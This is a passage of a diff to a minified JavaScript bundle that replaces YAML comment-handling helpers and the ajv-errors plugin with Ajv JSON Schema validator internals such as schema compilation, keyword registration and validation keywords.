`${this.pointer}/${t10}`); + errorsText(e12 = this.errors, { separator: t10 = ", ", dataVar: i9 = "data" } = {}) { + return e12 && 0 !== e12.length ? e12.map((e13) => `${i9}${e13.instancePath} ${e13.message}`).reduce((e13, i10) => e13 + t10 + i10) : "No errors"; } - static isLeading(e12, t10) { - switch (e12.kind) { - case c7.Kind.MAP: - return 0 === e12.mappings.length || e12.mappings[0].startPosition > t10; - case c7.Kind.SEQ: { - if (0 === e12.items.length) - return true; - const i9 = e12.items[0]; - return null === i9 || i9.startPosition > t10; + $dataMetaSchema(e12, t10) { + const i9 = this.RULES.all; + e12 = JSON.parse(JSON.stringify(e12)); + for (const n9 of t10) { + const t11 = n9.split("/").slice(1); + let r9 = e12; + for (const e13 of t11) + r9 = r9[e13]; + for (const e13 in i9) { + const t12 = i9[e13]; + if ("object" != typeof t12) + continue; + const { $data: n10 } = t12.definition, o8 = r9[e13]; + n10 && o8 && (r9[e13] = R6(o8)); } - case c7.Kind.MAPPING: - return null === e12.value || e12.value.startPosition > t10; - default: - return false; } + return e12; } - static isTrailing(e12, t10) { - switch (e12.kind) { - case c7.Kind.MAP: - return e12.mappings.length > 0 && t10 > e12.mappings[e12.mappings.length - 1].endPosition; - case c7.Kind.SEQ: - if (0 === e12.items.length) - return false; - const i9 = e12.items[e12.items.length - 1]; - return null !== i9 && t10 > i9.endPosition; - case c7.Kind.MAPPING: - return null !== e12.value && t10 > e12.value.endPosition; - default: - return false; + _removeAllSchemas(e12, t10) { + for (const i9 in e12) { + const n9 = e12[i9]; + t10 && !t10.test(i9) || ("string" == typeof n9 ? delete e12[i9] : n9 && !n9.meta && (this._cache.delete(n9.schema), delete e12[i9])); } } - static findBetween(e12, t10, i9) { - switch (e12.kind) { - case c7.Kind.MAP: { - let n9; - for (const r9 of e12.mappings) - if (t10 > r9.startPosition) - n9 = r9.key.value; - else if (void 0 !== n9 && r9.startPosition > i9) - return [n9, r9.key.value]; - return null; - } - case c7.Kind.SEQ: { - let n9; - for (let r9 = 0; r9 < e12.items.length; r9++) { - const o8 = e12.items[r9]; - if (null !== o8) { - if (t10 > o8.startPosition) - n9 = String(r9); - else if (void 0 !== n9 && o8.startPosition > i9) - return [n9, String(r9)]; - } - } - return null; - } - default: - return null; + _addSchema(e12, t10, i9, n9 = this.opts.validateSchema, r9 = this.opts.addUsedSchema) { + let o8; + const { schemaId: s8 } = this.opts; + if ("object" == typeof e12) + o8 = e12[s8]; + else { + if (this.opts.jtd) + throw new Error("schema must be object"); + if ("boolean" != typeof e12) + throw new Error("schema must be object or boolean"); } + let a8 = this._cache.get(e12); + if (void 0 !== a8) + return a8; + i9 = (0, d7.normalizeId)(o8 || i9); + const c8 = d7.getSchemaRefs.call(this, e12, i9); + return a8 = new p7.SchemaEnv({ schema: e12, schemaId: s8, meta: t10, baseId: i9, localRefs: c8 }), this._cache.set(a8.schema, a8), r9 && !i9.startsWith("#") && (i9 && this._checkUnique(i9), this.refs[i9] = a8), n9 && this.validateSchema(e12, true), a8; } - isBeforeEOL(e12) { - return this.node.kind === c7.Kind.SCALAR || this.node.kind === c7.Kind.MAPPING && e12.range.end.line === p7.lineForPosition(this.node.key.endPosition, this.lineMap); + _checkUnique(e12) { + if (this.schemas[e12] || this.refs[e12]) + throw new Error(`schema with key or id "${e12}" already exists`); } - attachComments() { - if (0 === this.comments.length) - return; - const e12 = this.attachedComments[this.pointer] = this.attachedComments[this.pointer] || []; - for (const t10 of this.comments) - if (this.isBeforeEOL(t10)) - e12.push({ value: t10.value, placement: "before-eol" }); - else if (P6.isLeading(this.node, t10.startPosition)) - e12.push({ value: t10.value, placement: "leading" }); - else if (P6.isTrailing(this.node, t10.endPosition)) - e12.push({ value: t10.value, placement: "trailing" }); - else { - const i9 = P6.findBetween(this.node, t10.startPosition, t10.endPosition); - null !== i9 ? e12.push({ value: t10.value, placement: "between", between: i9 }) : e12.push({ value: t10.value, placement: "trailing" }); - } + _compileSchemaEnv(e12) { + if (e12.meta ? this._compileMetaSchema(e12) : p7.compileSchema.call(this, e12), !e12.validate) + throw new Error("ajv implementation error"); + return e12.validate; + } + _compileMetaSchema(e12) { + const t10 = this.opts; + this.opts = this._metaOpts; + try { + p7.compileSchema.call(this, e12); + } finally { + this.opts = t10; + } } } - }, 74958: (e11, t9, i8) => { + function x7(e12, t10, i9, n9 = "error") { + for (const r9 in e12) { + const o8 = r9; + o8 in t10 && this.logger[n9](`${i9}: option ${r9}. ${e12[o8]}`); + } + } + function _6(e12) { + return e12 = (0, d7.normalizeId)(e12), this.schemas[e12] || this.refs[e12]; + } + function w6() { + const e12 = this.opts.schemas; + if (e12) + if (Array.isArray(e12)) + this.addSchema(e12); + else + for (const t10 in e12) + this.addSchema(e12[t10], t10); + } + function S6() { + for (const e12 in this.opts.formats) { + const t10 = this.opts.formats[e12]; + t10 && this.addFormat(e12, t10); + } + } + function P6(e12) { + if (Array.isArray(e12)) + this.addVocabulary(e12); + else { + this.logger.warn("keywords option as map is deprecated, pass array"); + for (const t10 in e12) { + const i9 = e12[t10]; + i9.keyword || (i9.keyword = t10), this.addKeyword(i9); + } + } + } + function O7() { + const e12 = { ...this.opts }; + for (const t10 of y7) + delete e12[t10]; + return e12; + } + $5.ValidationError = o7.default, $5.MissingRefError = s7.default, t9.default = $5; + const T6 = { log() { + }, warn() { + }, error() { + } }, A6 = /^[a-z_$][a-z0-9_$:-]*$/i; + function I6(e12, t10) { + const { RULES: i9 } = this; + if ((0, l7.eachItem)(e12, (e13) => { + if (i9.keywords[e13]) + throw new Error(`Keyword ${e13} is already defined`); + if (!A6.test(e13)) + throw new Error(`Keyword ${e13} has invalid name`); + }), t10 && t10.$data && !("code" in t10) && !("validate" in t10)) + throw new Error('$data keyword must have "code" or "validate" function'); + } + function E6(e12, t10, i9) { + var n9; + const r9 = null == t10 ? void 0 : t10.post; + if (i9 && r9) + throw new Error('keyword with "post" flag cannot have "type"'); + const { RULES: o8 } = this; + let s8 = r9 ? o8.post : o8.rules.find(({ type: e13 }) => e13 === i9); + if (s8 || (s8 = { type: i9, rules: [] }, o8.rules.push(s8)), o8.keywords[e12] = true, !t10) + return; + const a8 = { keyword: e12, definition: { ...t10, type: (0, f8.getJSONTypes)(t10.type), schemaType: (0, f8.getJSONTypes)(t10.schemaType) } }; + t10.before ? q5.call(this, s8, a8, t10.before) : s8.rules.push(a8), o8.all[e12] = a8, null === (n9 = t10.implements) || void 0 === n9 || n9.forEach((e13) => this.addKeyword(e13)); + } + function q5(e12, t10, i9) { + const n9 = e12.rules.findIndex((e13) => e13.keyword === i9); + n9 >= 0 ? e12.rules.splice(n9, 0, t10) : (e12.rules.push(t10), this.logger.warn(`rule ${i9} is not defined`)); + } + function k6(e12) { + let { metaSchema: t10 } = e12; + void 0 !== t10 && (e12.$data && this.opts.$data && (t10 = R6(t10)), e12.validateSchema = this.compile(t10, true)); + } + const M6 = { $ref: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#" }; + function R6(e12) { + return { anyOf: [e12, M6] }; + } + }, 92905: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(85725); - t9.safeStringify = (e12, t10) => "string" == typeof e12 ? e12 : n8.safeDump(e12, t10); - }, 60519: (e11, t9, i8) => { + const n8 = i8(19065), r8 = i8(32289), o7 = i8(14513), s7 = i8(56703), a7 = i8(18699), p7 = i8(42992), c7 = i8(81275), d7 = ["/properties"]; + t9.default = function(e12) { + return [n8, r8, o7, s7, t10(this, a7), p7, t10(this, c7)].forEach((e13) => this.addMetaSchema(e13, void 0, false)), this; + function t10(t11, i9) { + return e12 ? t11.$dataMetaSchema(i9, d7) : i9; + } + }; + }, 43685: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(93643); - t9.KEYS = Symbol.for(n8.ORDER_KEY_ID); - const r8 = { ownKeys: (e12) => t9.KEYS in e12 ? e12[t9.KEYS] : Reflect.ownKeys(e12) }; - t9.trapAccess = (e12) => new Proxy(e12, r8); - }, 82585: (e11, t9, i8) => { + const n8 = i8(46261), r8 = i8(90013), o7 = i8(47388), s7 = i8(60013), a7 = i8(64771), p7 = i8(9567), c7 = i8(68364), d7 = i8(42943), f8 = ["/properties"]; + t9.default = function(e12) { + return [n8, r8, o7, s7, a7, t10(this, p7), c7, t10(this, d7)].forEach((e13) => this.addMetaSchema(e13, void 0, false)), this; + function t10(t11, i9) { + return e12 ? t11.$dataMetaSchema(i9, f8) : i9; + } + }; + }, 72725: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(85725); - t9.Kind = n8.Kind, t9.ScalarType = n8.ScalarType; - }, 88725: (e11, t9) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.isObject = (e12) => null !== e12 && "object" == typeof e12; - }, 67083: (e11) => { - "use strict"; - const { AbortController: t9, AbortSignal: i8 } = "undefined" != typeof self ? self : "undefined" != typeof window ? window : void 0; - e11.exports = t9, e11.exports.AbortSignal = i8, e11.exports.default = t9; - }, 33467: (e11, t9, i8) => { + const n8 = i8(38792); + n8.code = 'require("ajv/dist/runtime/equal").default', t9.default = n8; + }, 26308: (e11, t9) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = void 0; - const n8 = i8(65319), r8 = i8(61043), o7 = i8(11672), s7 = i8(20048), a7 = ["/properties"], p7 = "http://json-schema.org/draft-04/schema"; - class c7 extends n8.default { - constructor(e12 = {}) { - super({ ...e12, schemaId: "id" }); - } - _addVocabularies() { - super._addVocabularies(), r8.default.forEach((e12) => this.addVocabulary(e12)), this.opts.discriminator && this.addKeyword(o7.default); - } - _addDefaultMetaSchema() { - if (super._addDefaultMetaSchema(), !this.opts.meta) - return; - const e12 = this.opts.$data ? this.$dataMetaSchema(s7, a7) : s7; - this.addMetaSchema(e12, p7, false), this.refs["http://json-schema.org/schema"] = p7; - } - defaultMeta() { - return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(p7) ? p7 : void 0); - } + function i8(e12) { + const t10 = e12.length; + let i9, n8 = 0, r8 = 0; + for (; r8 < t10; ) + n8++, i9 = e12.charCodeAt(r8++), i9 >= 55296 && i9 <= 56319 && r8 < t10 && (i9 = e12.charCodeAt(r8), 56320 == (64512 & i9) && r8++); + return n8; } - e11.exports = t9 = c7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = c7; - var d7 = i8(65319); - Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { - return d7.KeywordCxt; - } }); - var f8 = i8(65319); - Object.defineProperty(t9, "_", { enumerable: true, get: function() { - return f8._; - } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { - return f8.str; - } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { - return f8.stringify; - } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { - return f8.nil; - } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { - return f8.Name; - } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { - return f8.CodeGen; - } }); - }, 73829: (e11, t9, i8) => { + Object.defineProperty(t9, "__esModule", { value: true }), t9.default = i8, i8.code = 'require("ajv/dist/runtime/ucs2length").default'; + }, 7903: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = ["$schema", "id", "$defs", { keyword: "$comment" }, "definitions", i8(26138).default]; - t9.default = n8; - }, 61043: (e11, t9, i8) => { + const n8 = i8(84800); + n8.code = 'require("ajv/dist/runtime/uri").default', t9.default = n8; + }, 95031: (e11, t9) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(73829), r8 = i8(19986), o7 = i8(18225), s7 = i8(26699), a7 = [n8.default, r8.default, o7.default(), s7.default, ["title", "description", "default"]]; - t9.default = a7; - }, 19986: (e11, t9, i8) => { + class i8 extends Error { + constructor(e12) { + super("validation failed"), this.errors = e12, this.ajv = this.validation = true; + } + } + t9.default = i8; + }, 93426: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(10592), r8 = i8(52674), o7 = i8(21230), s7 = i8(3936), a7 = i8(81005), p7 = i8(71589), c7 = i8(29594), d7 = i8(38558), f8 = i8(44058), l7 = i8(79520), u7 = i8(36742), m7 = [n8.default, r8.default, o7.default, s7.default, a7.default, p7.default, c7.default, d7.default, f8.default, { keyword: "type", schemaType: ["string", "array"] }, { keyword: "nullable", schemaType: "boolean" }, l7.default, u7.default]; - t9.default = m7; - }, 10592: (e11, t9, i8) => { + Object.defineProperty(t9, "__esModule", { value: true }), t9.validateAdditionalItems = void 0; + const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "additionalItems", type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", error: { message: ({ params: { len: e12 } }) => n8.str`must NOT have more than ${e12} items`, params: ({ params: { len: e12 } }) => n8._`{limit: ${e12}}` }, code(e12) { + const { parentSchema: t10, it: i9 } = e12, { items: n9 } = t10; + Array.isArray(n9) ? s7(e12, n9) : (0, r8.checkStrictMode)(i9, '"additionalItems" is ignored when "items" is not an array of schemas'); + } }; + function s7(e12, t10) { + const { gen: i9, schema: o8, data: s8, keyword: a7, it: p7 } = e12; + p7.items = true; + const c7 = i9.const("len", n8._`${s8}.length`); + if (false === o8) + e12.setParams({ len: t10.length }), e12.pass(n8._`${c7} <= ${t10.length}`); + else if ("object" == typeof o8 && !(0, r8.alwaysValidSchema)(p7, o8)) { + const o9 = i9.var("valid", n8._`${c7} <= ${t10.length}`); + i9.if((0, n8.not)(o9), () => function(o10) { + i9.forRange("i", t10.length, c7, (t11) => { + e12.subschema({ keyword: a7, dataProp: t11, dataPropType: r8.Type.Num }, o10), p7.allErrors || i9.if((0, n8.not)(o10), () => i9.break()); + }); + }(o9)), e12.ok(o9); + } + } + t9.validateAdditionalItems = s7, t9.default = o7; + }, 92697: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(65319), r8 = i8(17898).operators, o7 = { maximum: { exclusive: "exclusiveMaximum", ops: [{ okStr: "<=", ok: r8.LTE, fail: r8.GT }, { okStr: "<", ok: r8.LT, fail: r8.GTE }] }, minimum: { exclusive: "exclusiveMinimum", ops: [{ okStr: ">=", ok: r8.GTE, fail: r8.LT }, { okStr: ">", ok: r8.GT, fail: r8.LTE }] } }, s7 = { message: (e12) => n8.str`must be ${p7(e12).okStr} ${e12.schemaCode}`, params: (e12) => n8._`{comparison: ${p7(e12).okStr}, limit: ${e12.schemaCode}}` }, a7 = { keyword: Object.keys(o7), type: "number", schemaType: "number", $data: true, error: s7, code(e12) { - const { data: t10, schemaCode: i9 } = e12; - e12.fail$data(n8._`${t10} ${p7(e12).fail} ${i9} || isNaN(${t10})`); + const n8 = i8(94450), r8 = i8(17898), o7 = i8(63036), s7 = i8(50458), a7 = { keyword: "additionalProperties", type: ["object"], schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, error: { message: "must NOT have additional properties", params: ({ params: e12 }) => r8._`{additionalProperty: ${e12.additionalProperty}}` }, code(e12) { + const { gen: t10, schema: i9, parentSchema: a8, data: p7, errsCount: c7, it: d7 } = e12; + if (!c7) + throw new Error("ajv implementation error"); + const { allErrors: f8, opts: l7 } = d7; + if (d7.props = true, "all" !== l7.removeAdditional && (0, s7.alwaysValidSchema)(d7, i9)) + return; + const u7 = (0, n8.allSchemaProperties)(a8.properties), m7 = (0, n8.allSchemaProperties)(a8.patternProperties); + function h8(e13) { + t10.code(r8._`delete ${p7}[${e13}]`); + } + function y7(n9) { + if ("all" === l7.removeAdditional || l7.removeAdditional && false === i9) + h8(n9); + else { + if (false === i9) + return e12.setParams({ additionalProperty: n9 }), e12.error(), void (f8 || t10.break()); + if ("object" == typeof i9 && !(0, s7.alwaysValidSchema)(d7, i9)) { + const i10 = t10.name("valid"); + "failing" === l7.removeAdditional ? (g7(n9, i10, false), t10.if((0, r8.not)(i10), () => { + e12.reset(), h8(n9); + })) : (g7(n9, i10), f8 || t10.if((0, r8.not)(i10), () => t10.break())); + } + } + } + function g7(t11, i10, n9) { + const r9 = { keyword: "additionalProperties", dataProp: t11, dataPropType: s7.Type.Str }; + false === n9 && Object.assign(r9, { compositeRule: true, createErrors: false, allErrors: false }), e12.subschema(r9, i10); + } + t10.forIn("key", p7, (i10) => { + u7.length || m7.length ? t10.if(function(i11) { + let o8; + if (u7.length > 8) { + const e13 = (0, s7.schemaRefOrVal)(d7, a8.properties, "properties"); + o8 = (0, n8.isOwnProperty)(t10, e13, i11); + } else + o8 = u7.length ? (0, r8.or)(...u7.map((e13) => r8._`${i11} === ${e13}`)) : r8.nil; + return m7.length && (o8 = (0, r8.or)(o8, ...m7.map((t11) => r8._`${(0, n8.usePattern)(e12, t11)}.test(${i11})`))), (0, r8.not)(o8); + }(i10), () => y7(i10)) : y7(i10); + }), e12.ok(r8._`${c7} === ${o7.default.errors}`); } }; - function p7(e12) { - var t10; - const i9 = e12.keyword, n9 = (null === (t10 = e12.parentSchema) || void 0 === t10 ? void 0 : t10[o7[i9].exclusive]) ? 1 : 0; - return o7[i9].ops[n9]; - } t9.default = a7; - }, 52674: (e11, t9) => { + }, 79355: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const i8 = { exclusiveMaximum: "maximum", exclusiveMinimum: "minimum" }, n8 = { keyword: Object.keys(i8), type: "number", schemaType: "boolean", code({ keyword: e12, parentSchema: t10 }) { - const n9 = i8[e12]; - if (void 0 === t10[n9]) - throw new Error(`${e12} can only be used with ${n9}`); + const n8 = i8(50458), r8 = { keyword: "allOf", schemaType: "array", code(e12) { + const { gen: t10, schema: i9, it: r9 } = e12; + if (!Array.isArray(i9)) + throw new Error("ajv implementation error"); + const o7 = t10.name("valid"); + i9.forEach((t11, i10) => { + if ((0, n8.alwaysValidSchema)(r9, t11)) + return; + const s7 = e12.subschema({ keyword: "allOf", schemaProp: i10 }, o7); + e12.ok(o7), e12.mergeEvaluated(s7); + }); } }; + t9.default = r8; + }, 19430: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = { keyword: "anyOf", schemaType: "array", trackErrors: true, code: i8(94450).validateUnion, error: { message: "must match a schema in anyOf" } }; t9.default = n8; - }, 67156: (e11, t9, i8) => { + }, 35724: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(11601), r8 = i8(17898), o7 = i8(83277), s7 = i8(96223), a7 = i8(49409), p7 = i8(63036), c7 = "errorMessage", d7 = new n8.Name("emUsed"), f8 = { required: "missingProperty", dependencies: "property", dependentRequired: "property" }, l7 = /\$\{[^}]+\}/, u7 = /\$\{([^}]+)\}/g, m7 = /^""\s*\+\s*|\s*\+\s*""$/g; - const h8 = (e12, t10 = {}) => { - if (!e12.opts.allErrors) - throw new Error("ajv-errors: Ajv option allErrors must be true"); - if (e12.opts.jsPropertySyntax) - throw new Error("ajv-errors: ajv option jsPropertySyntax is not supported"); - return e12.addKeyword(/* @__PURE__ */ function(e13) { - return { keyword: c7, schemaType: ["string", "object"], post: true, code(t11) { - const { gen: i9, data: h9, schema: y7, schemaValue: g7, it: b8 } = t11; - if (false === b8.createErrors) - return; - const v8 = y7, j6 = r8.strConcat(p7.default.instancePath, b8.errorPath); - function $5(e14, t12) { - return r8.and(n8._`${e14}.keyword !== ${c7}`, n8._`!${e14}.${d7}`, n8._`${e14}.instancePath === ${j6}`, n8._`${e14}.keyword in ${t12}`, n8._`${e14}.schemaPath.indexOf(${b8.errSchemaPath}) === 0`, n8._`/^\\/[^\\/]*$/.test(${e14}.schemaPath.slice(${b8.errSchemaPath.length}))`); - } - function x7(e14, t12) { - const n9 = []; - for (const i10 in e14) { - const e15 = t12[i10]; - l7.test(e15) && n9.push([i10, w6(e15)]); - } - return i9.object(...n9); - } - function _6(e14) { - return l7.test(e14) ? new o7._Code(o7.safeStringify(e14).replace(u7, (e15, t12) => `" + JSON.stringify(${s7.getData(t12, b8)}) + "`).replace(m7, "")) : n8.stringify(e14); - } - function w6(e14) { - return n8._`function(){return ${_6(e14)}}`; - } - i9.if(n8._`${p7.default.errors} > 0`, () => { - if ("object" == typeof v8) { - const [o9, s8] = function(e14) { - let t12, i10; - for (const n9 in e14) { - if ("properties" === n9 || "items" === n9) - continue; - const r9 = e14[n9]; - if ("object" == typeof r9) { - t12 || (t12 = {}); - const e15 = t12[n9] = {}; - for (const t13 in r9) - e15[t13] = []; - } else - i10 || (i10 = {}), i10[n9] = []; - } - return [t12, i10]; - }(v8); - s8 && function(r9) { - const o10 = i9.const("emErrors", n8.stringify(r9)), s9 = i9.const("templates", x7(r9, y7)); - i9.forOf("err", p7.default.vErrors, (e14) => i9.if($5(e14, o10), () => i9.code(n8._`${o10}[${e14}.keyword].push(${e14})`).assign(n8._`${e14}.${d7}`, true))); - const { singleError: c8 } = e13; - if (c8) { - const e14 = i9.let("message", n8._`""`), r10 = i9.let("paramsErrors", n8._`[]`); - f9((t12) => { - i9.if(e14, () => i9.code(n8._`${e14} += ${"string" == typeof c8 ? c8 : ";"}`)), i9.code(n8._`${e14} += ${l8(t12)}`), i9.assign(r10, n8._`${r10}.concat(${o10}[${t12}])`); - }), a7.reportError(t11, { message: e14, params: n8._`{errors: ${r10}}` }); - } else - f9((e14) => a7.reportError(t11, { message: l8(e14), params: n8._`{errors: ${o10}[${e14}]}` })); - function f9(e14) { - i9.forIn("key", o10, (t12) => i9.if(n8._`${o10}[${t12}].length`, () => e14(t12))); - } - function l8(e14) { - return n8._`${e14} in ${s9} ? ${s9}[${e14}]() : ${g7}[${e14}]`; - } - }(s8), o9 && function(e14) { - const r9 = i9.const("emErrors", n8.stringify(e14)), o10 = []; - for (const t12 in e14) - o10.push([t12, x7(e14[t12], y7[t12])]); - const s9 = i9.const("templates", i9.object(...o10)), c8 = i9.scopeValue("obj", { ref: f8, code: n8.stringify(f8) }), l8 = i9.let("emPropParams"), u8 = i9.let("emParamsErrors"); - i9.forOf("err", p7.default.vErrors, (e15) => i9.if($5(e15, r9), () => { - i9.assign(l8, n8._`${c8}[${e15}.keyword]`), i9.assign(u8, n8._`${r9}[${e15}.keyword][${e15}.params[${l8}]]`), i9.if(u8, () => i9.code(n8._`${u8}.push(${e15})`).assign(n8._`${e15}.${d7}`, true)); - })), i9.forIn("key", r9, (e15) => i9.forIn("keyProp", n8._`${r9}[${e15}]`, (o11) => { - i9.assign(u8, n8._`${r9}[${e15}][${o11}]`), i9.if(n8._`${u8}.length`, () => { - const r10 = i9.const("tmpl", n8._`${s9}[${e15}] && ${s9}[${e15}][${o11}]`); - a7.reportError(t11, { message: n8._`${r10} ? ${r10}() : ${g7}[${e15}][${o11}]`, params: n8._`{errors: ${u8}}` }); - }); - })); - }(o9), function(e14) { - const { props: o10, items: s9 } = e14; - if (!o10 && !s9) - return; - const f9 = n8._`typeof ${h9} == "object"`, l8 = n8._`Array.isArray(${h9})`, u8 = i9.let("emErrors"); - let m8, b9; - const v9 = i9.let("templates"); - function $6(e15, t12) { - i9.assign(u8, n8.stringify(e15)), i9.assign(v9, x7(e15, t12)); - } - o10 && s9 ? (m8 = i9.let("emChildKwd"), i9.if(f9), i9.if(l8, () => { - $6(s9, y7.items), i9.assign(m8, n8.str`items`); - }, () => { - $6(o10, y7.properties), i9.assign(m8, n8.str`properties`); - }), b9 = n8._`[${m8}]`) : s9 ? (i9.if(l8), $6(s9, y7.items), b9 = n8._`.items`) : o10 && (i9.if(r8.and(f9, r8.not(l8))), $6(o10, y7.properties), b9 = n8._`.properties`), i9.forOf("err", p7.default.vErrors, (e15) => function(e16, t12, o11) { - i9.if(r8.and(n8._`${e16}.keyword !== ${c7}`, n8._`!${e16}.${d7}`, n8._`${e16}.instancePath.indexOf(${j6}) === 0`), () => { - const r9 = i9.scopeValue("pattern", { ref: /^\/([^/]*)(?:\/|$)/, code: n8._`new RegExp("^\\\/([^/]*)(?:\\\/|$)")` }), s10 = i9.const("emMatches", n8._`${r9}.exec(${e16}.instancePath.slice(${j6}.length))`), a8 = i9.const("emChild", n8._`${s10} && ${s10}[1].replace(/~1/g, "/").replace(/~0/g, "~")`); - i9.if(n8._`${a8} !== undefined && ${a8} in ${t12}`, () => o11(a8)); - }); - }(e15, u8, (t12) => i9.code(n8._`${u8}[${t12}].push(${e15})`).assign(n8._`${e15}.${d7}`, true))), i9.forIn("key", u8, (e15) => i9.if(n8._`${u8}[${e15}].length`, () => { - a7.reportError(t11, { message: n8._`${e15} in ${v9} ? ${v9}[${e15}]() : ${g7}${b9}[${e15}]`, params: n8._`{errors: ${u8}[${e15}]}` }), i9.assign(n8._`${p7.default.vErrors}[${p7.default.errors}-1].instancePath`, n8._`${j6} + "/" + ${e15}.replace(/~/g, "~0").replace(/\\//g, "~1")`); - })), i9.endIf(); - }(function({ properties: e14, items: t12 }) { - const i10 = {}; - if (e14) { - i10.props = {}; - for (const t13 in e14) - i10.props[t13] = []; - } - if (t12) { - i10.items = {}; - for (let e15 = 0; e15 < t12.length; e15++) - i10.items[e15] = []; - } - return i10; - }(v8)); - } - const o8 = "string" == typeof v8 ? v8 : v8._; - o8 && function(e14) { - const o9 = i9.const("emErrs", n8._`[]`); - i9.forOf("err", p7.default.vErrors, (e15) => i9.if(function(e16) { - return r8.and(n8._`${e16}.keyword !== ${c7}`, n8._`!${e16}.${d7}`, r8.or(n8._`${e16}.instancePath === ${j6}`, r8.and(n8._`${e16}.instancePath.indexOf(${j6}) === 0`, n8._`${e16}.instancePath[${j6}.length] === "/"`)), n8._`${e16}.schemaPath.indexOf(${b8.errSchemaPath}) === 0`, n8._`${e16}.schemaPath[${b8.errSchemaPath}.length] === "/"`); - }(e15), () => i9.code(n8._`${o9}.push(${e15})`).assign(n8._`${e15}.${d7}`, true))), i9.if(n8._`${o9}.length`, () => a7.reportError(t11, { message: _6(e14), params: n8._`{errors: ${o9}}` })); - }(o8), e13.keepErrors || function() { - const e14 = i9.const("emErrs", n8._`[]`); - i9.forOf("err", p7.default.vErrors, (t12) => i9.if(n8._`!${t12}.${d7}`, () => i9.code(n8._`${e14}.push(${t12})`))), i9.assign(p7.default.vErrors, e14).assign(p7.default.errors, n8._`${e14}.length`); - }(); - }); - }, metaSchema: { anyOf: [{ type: "string" }, { type: "object", properties: { properties: { $ref: "#/$defs/stringMap" }, items: { $ref: "#/$defs/stringList" }, required: { $ref: "#/$defs/stringOrMap" }, dependencies: { $ref: "#/$defs/stringOrMap" } }, additionalProperties: { type: "string" } }], $defs: { stringMap: { type: "object", additionalProperties: { type: "string" } }, stringOrMap: { anyOf: [{ type: "string" }, { $ref: "#/$defs/stringMap" }] }, stringList: { type: "array", items: { type: "string" } } } } }; - }(t10)); - }; - t9.default = h8, e11.exports = h8, e11.exports.default = h8; - }, 65733: (e11, t9) => { + const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "contains", type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, error: { message: ({ params: { min: e12, max: t10 } }) => void 0 === t10 ? n8.str`must contain at least ${e12} valid item(s)` : n8.str`must contain at least ${e12} and no more than ${t10} valid item(s)`, params: ({ params: { min: e12, max: t10 } }) => void 0 === t10 ? n8._`{minContains: ${e12}}` : n8._`{minContains: ${e12}, maxContains: ${t10}}` }, code(e12) { + const { gen: t10, schema: i9, parentSchema: o8, data: s7, it: a7 } = e12; + let p7, c7; + const { minContains: d7, maxContains: f8 } = o8; + a7.opts.next ? (p7 = void 0 === d7 ? 1 : d7, c7 = f8) : p7 = 1; + const l7 = t10.const("len", n8._`${s7}.length`); + if (e12.setParams({ min: p7, max: c7 }), void 0 === c7 && 0 === p7) + return void (0, r8.checkStrictMode)(a7, '"minContains" == 0 without "maxContains": "contains" keyword ignored'); + if (void 0 !== c7 && p7 > c7) + return (0, r8.checkStrictMode)(a7, '"minContains" > "maxContains" is always invalid'), void e12.fail(); + if ((0, r8.alwaysValidSchema)(a7, i9)) { + let t11 = n8._`${l7} >= ${p7}`; + return void 0 !== c7 && (t11 = n8._`${t11} && ${l7} <= ${c7}`), void e12.pass(t11); + } + a7.items = true; + const u7 = t10.name("valid"); + function m7() { + const e13 = t10.name("_valid"), i10 = t10.let("count", 0); + h8(e13, () => t10.if(e13, () => function(e14) { + t10.code(n8._`${e14}++`), void 0 === c7 ? t10.if(n8._`${e14} >= ${p7}`, () => t10.assign(u7, true).break()) : (t10.if(n8._`${e14} > ${c7}`, () => t10.assign(u7, false).break()), 1 === p7 ? t10.assign(u7, true) : t10.if(n8._`${e14} >= ${p7}`, () => t10.assign(u7, true))); + }(i10))); + } + function h8(i10, n9) { + t10.forRange("i", 0, l7, (t11) => { + e12.subschema({ keyword: "contains", dataProp: t11, dataPropType: r8.Type.Num, compositeRule: true }, i10), n9(); + }); + } + void 0 === c7 && 1 === p7 ? h8(u7, () => t10.if(u7, () => t10.break())) : 0 === p7 ? (t10.let(u7, true), void 0 !== c7 && t10.if(n8._`${s7}.length > 0`, m7)) : (t10.let(u7, false), m7()), e12.result(u7, () => e12.reset()); + } }; + t9.default = o7; + }, 99868: (e11, t9, i8) => { "use strict"; - function i8(e12, t10) { - return { validate: e12, compare: t10 }; - } - Object.defineProperty(t9, "__esModule", { value: true }), t9.formatNames = t9.fastFormats = t9.fullFormats = void 0, t9.fullFormats = { date: i8(o7, s7), time: i8(p7, c7), "date-time": i8(function(e12) { - const t10 = e12.split(d7); - return 2 === t10.length && o7(t10[0]) && p7(t10[1], true); - }, f8), duration: 